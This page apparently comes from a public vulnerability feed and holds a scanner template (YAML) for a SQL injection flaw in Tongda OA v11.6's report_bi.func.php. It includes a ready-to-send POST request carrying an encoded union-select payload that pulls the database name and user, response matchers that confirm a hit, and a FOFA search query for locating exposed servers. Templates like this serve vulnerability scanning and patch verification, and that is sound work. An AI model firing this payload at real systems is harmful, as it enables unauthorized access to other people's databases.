tongda-report-func-sqli: Tongda OA v11.6 report_bi.func.php - SQL injection

2025-08-01 Tongda OA PoC Public

Description

Tongda OA v11.6 report_bi.func.php has a SQL injection vulnerability, and attackers can obtain database information through the vulnerability.

PoC

id: tongda-report-func-sqli

info:
  name: Tongda OA v11.6 report_bi.func.php - SQL injection
  author: SleepingBag945
  severity: high
  description: |
    Tongda OA v11.6 report_bi.func.php has a SQL injection vulnerability, and attackers can obtain database information through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20report_bi.func.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:tongda2000:office_anywhere:*:*:*:*:*:*:*:*
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: tongda2000
    product: office_anywhere
    fofa-query: app="TDXK-通达OA"
  tags: tongda,sqli,vuln

http:
  - raw:
      - |
        POST /general/bi_design/appcenter/report_bi.func.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _POST[dataset_id]=efgh%27-%40%60%27%60%29union+select+database%28%29%2C2%2Cuser%28%29%23%27&action=get_link_info&

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"root@'
          - '"para":'
          - '"td_oa"'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022038bb087a29979439f1068d931838bbbd31e30f37e69dde7f0adc20bd688c4b0602205ad1b1f22e118b3507446537b1272c1a0eb61e96392858ebf811492b985ac27d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities